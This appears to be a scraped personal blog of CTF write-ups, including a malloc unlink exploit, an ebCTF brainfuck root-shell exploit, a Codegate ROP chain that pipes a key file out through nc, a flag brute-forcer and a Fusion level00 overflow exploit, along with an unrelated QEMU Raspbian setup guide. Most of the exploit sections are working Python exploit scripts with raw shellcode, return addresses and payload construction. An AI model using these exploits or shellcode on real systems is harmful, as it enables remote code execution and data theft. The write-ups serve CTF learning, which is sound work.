[FREE][address=80AA600]
[FREE][address=80AA8A8]
[FREE][address=80AAC98]
[FREE][address=80AB058]
[FREE][address=80AB350]
[FREE][address=80AB458]
[FREE][address=80AB7D0]
[FREE][address=80ABCB8]
[FREE][address=80AC0D8]
[FREE][address=80AC560]
[FREE][address=80AC980]
[FREE][address=80ACDA8]
[FREE][address=80AD138]
[FREE][address=80AD4B0]
Did you forget to read the flag with your shellcode?
Exiting

Doug lee malloc exploit chal!!!


* 11th block = size 260 fixed
* except 11th , size random


--IDEA-------------------------------------------------------------
1. fill 11th block with shellcode+NOP
2. make fake chunk size=261, fd = printf_got, bk = 11th block addr
-------------------------------------------------------------------


#!/usr/bin/python
from struct import *
from socket import *

p = lambda x : pack("<L",x)
up = lambda x : unpack("<L",x)[0]

s = socket(AF_INET,SOCK_STREAM)
s.connect(('10.211.55.4',8989))

shellcode = "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"+\
"\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"+\
"\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"
printf_got = 0x804bffc
size = 260
fd = printf_got
bk = 0
payload = ""

print s.recv(1024)
hehe = s.recv(2056)
hehe = hehe.split("\n")
for i in hehe:
if i.find("size=260"):
bk = int(i[12:19],16)
break

payload += shellcode.ljust(260,"\x90")
payload += p(size)
payload += p(fd)
payload += p(bk)

s.send(payload+"\n")
print s.recv(2000)

while 1:
print s.recv(1024)
cmd = raw_input("$ ")
s.send(cmd+"\n")

CLEAR!

2014년 5월 23일 금요일

ebCTF 2013 bf writeup

ebCTF bf exploit!

mangoui-MacBook-Pro:~ kjungi704$ nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: >>.
0x00000000

THANKS FOR SUPPORTING US WITH YOUR BRAIN!

hmm...

brainfuck
> : ++ptr;
< : --ptr;
+ : ++*ptr;
- : --*ptr;
. ; putchar(*ptr);
, : *ptr = getchar();
[ : while(*ptr){
] : }


bf_main ret = 0x08048a6d
shell = 0x08048a6e



mangoui-MacBook-Pro:~ kjungi704$ (python -c 'print ">"*51+"."')|nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: 0x08048a9d

THANKS FOR SUPPORTING US WITH YOUR BRAIN!

0x9c - 0x6e = 46


mangoui-MacBook-Pro:~ kjungi704$ (python -c 'print ">"*51+"-"*46';cat)|nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: id
uid=0(root) gid=0(root) groups=0(root)
whoami
root

Clear!

2014년 5월 15일 목요일

Codegate junior 2014 nuclear exploit

POC exploit code


#!/usr/bin/python
from socket import *
from struct import *
from time import *

p = lambda x : pack("<L",x)
up = lambda x : unpack("<L",x)[0]

s = socket(AF_INET,SOCK_STREAM)
s.connect(('127.0.0.1',1129))

pppr = 0x804917d
ppr = pppr+1
pr = ppr+1
sockopt_got = 0x0804B00C
recv_plt = 0x080488E0
send_plt = 0x08048900
recv_inner = 0x08048A6F
send_inner = 0x08048A0D
freespace = 0x0804b088
offset = 0xb2860
cmd = "cat key | nc localhost 8989"

def leak_passcode():
s.recv(1024)
s.send("target")
s.recv(1024)
s.send("a"*512)
s.recv(1024)
ps = s.recv(1024)
ps = ps.split(":")
return (ps[1])[1:]

def sockoptgot_leak(ps):
s.send("launch")
s.recv(1024)
s.send(ps+"\n")
s.recv(1024)
payload = "a"*528
payload += p(send_inner)
payload += p(ppr)
payload += p(4)
payload += p(sockopt_got)

payload += p(recv_inner)
payload += p(pppr)
payload += p(4)
payload += p(freespace)
payload += p(len(cmd)+1)

payload += p(recv_inner)
payload += p(pppr)
payload += p(4)
payload += p(recv_inner)
payload += p(4)

payload += p(recv_inner)
payload += p(0xdeadbeef)
payload += p(freespace)

s.send(payload+"\n")
s.recv(1024)
sleep(1)
recved = up(s.recv(1024)[:4])
print "this is socketopt : "+hex(recved)
system = recved-offset
print "this is system : "+hex(system)
return system

if __name__=="__main__":
passcode = leak_passcode()
sys = sockoptgot_leak(passcode)
s.send(cmd+"\x00"+"\n")
s.send(p(sys))
print "[*]boom boom boom"

2014년 5월 12일 월요일

mac os x qemu raspbian

1. (Install brew)
ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)"

2. (Install qemu&etc)
brew install https://raw.github.com/Homebrew/homebrew-dupes/master/apple-gcc42.rb
brew install https://raw.github.com/Homebrew/homebrew-dupes/master/apple-gcc42.rb
wget http://xecdesign.com/downloads/linux-qemu/kernel-qemu
3. (First Boot)
jungiui-MacBook-Pro:RaspberryPi kjungi704$ qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash console=ttyAMA0" -hda 2014-01-07-wheezy-raspbian.img 
4. (Modify)
nano /etc/ld.so.preload
#/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so

nano /etc/udev/rules.d/90-qemu.rules
KERNEL=="sda", SYMLINK+="mmcblk0"
KERNEL=="sda?", SYMLINK+="mmcblk0p%n",

nano /etc/X11/xorg.conf
Section "Screen"
Identifier "Default Screen"
SubSection "Display"
Depth 16
Modes "800x600" "640x480"
EndSubSection
EndSection

shutdown -h now
5. (Final Boot)
jungiui-MacBook-Pro:RaspberryPi kjungi704$ qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw console=ttyAMA0" -hda 2014-01-07-wheezy-raspbian.img 


Kernel-Image download

2014년 5월 11일 일요일

ASIS ctf 2014 Hidden flag Writeup


문제 지문따위 없다.
말그대로 hidden flag 이다. 


음...  x-flag라는것이 수상하다..
그리하여 저 modal box 의 소스를 보니 아래와 같은 jscript 내용이 있었다.

$(document).on('hidden.bs.modal', function (e) {
e.preventDefault();
$(e.target).removeData('bs.modal');

});
var i=0;

var result=['Please try again!', 'Try harder!', 'Your answer is not correct!', 'The submitted flag is not correct!', 'False flag!', 'Wrong answer!', 'Sorry!'];
var final_result="Do you want to hack me?";

$('#flag_submission').submit(function(e){
e.preventDefault();
var shaObj = new jsSHA(document.forms["flag_submission"]["id_flag"].value, "TEXT");
var hash = shaObj.getHash("SHA-256", "HEX");
var shaObj2 = new jsSHA(hash, "TEXT");
var hash2 = shaObj2.getHash("SHA-256", "HEX");
if (document.forms["flag_submission"]["check"].value !== hash2) {
if ($("#id_flag").next().length == 0){
$('

').insertAfter('#id_flag');
}
if (i++>6){
$('#answer').removeClass('alert-danger').addClass('alert');
$('#answer').text(final_result);
}
else $('#answer').text(result[Math.floor(Math.random() * 7)]);
return false;
}

$.ajax({
type: "POST",
url: "/challenges/22/",
data: $('form').serialize(),
success: function(msg){
$("#ModalContainer").html(msg)
$("#modal-dialog").modal('hide');
},
error: function(){
alert("failure");
}
});
});


굳이 해석하자면 내가 인증시도한 flag 값을 sha256 hex로 두번 하고, 소스상의 name="check" 값인 2b127c77074e44b6e74074b1eb8d32dfe27fe78e6a05e302baed68e2cc643ca1
와 비교한다.

  1. x-flag:
    ASIS_b6b?244608c2?c2e869cb56?67b64?b1
위의  x-flag값 중간중간에 물음표가 있으므로 bruteforcing을 거쳐 ?에 들어갈 단어를 알아낸다!!!


#!/usr/bin/python
from hashlib import *
print "+"*40
a = "b6b?244608c2?c2e869cb56?67b64?b1"
dic = "abcdef0123456789"
haha = []
for i in dic:
for j in dic:
for l in dic:
for q in dic:
haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])

for i in haha:
if sha256(sha256("ASIS_"+i).hexdigest()).hexdigest() == "2b127c77074e44b6e74074b1eb8d32dfe27fe78e6a05e302baed68e2cc643ca1":
print "ASIS_"+i
exit()
소스가 참 더럽다 더 짧고 이쁘게 짤수있었지만 인증이 먼저이기에...

root@mango:~/asis# python hiddenflag.py 
++++++++++++++++++++++++++++++++++++++++
ASIS_b6be244608c27c2e869cb56167b649b1

clear!

2014년 5월 7일 수요일

exploit-exercises Fusion level00

Level00 source code


#include "../common/common.c"



int fix_path(char *path)

{

char resolved[128];



if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open

strcpy(path, resolved);

}



char *parse_http_request()

{

char buffer[1024];

char *path;

char *q;



printf("[debug] buffer is at 0x%08x :-)\n", buffer);



if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); //if nothing

if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); //if not "GET "



path = &buffer[4];

q = strchr(path, ' ');

if(! q) errx(0, "No protocol version specified");

*q++ = 0;

if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");



fix_path(path);



printf("trying to access %s\n", path);

return path;

}



int main(int argc, char **argv, char **envp)

{

int fd;

char *p;



background_process(NAME, UID, GID);

fd = serve_forever(PORT);

set_io(fd);



parse_http_request();

}

exploit source 


#!/usr/bin/python

from struct import *

p = lambda x : pack("<L",x)



shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +\

"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" +\

"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd" +\

"\x80"

ret = 0xbf999288

payload = ""

payload += "GET "

payload += "\x90"*139

payload += p(ret)

payload += " HTTP/1.1 "

payload += "\x90"*50

payload += shellcode



print payload

clear!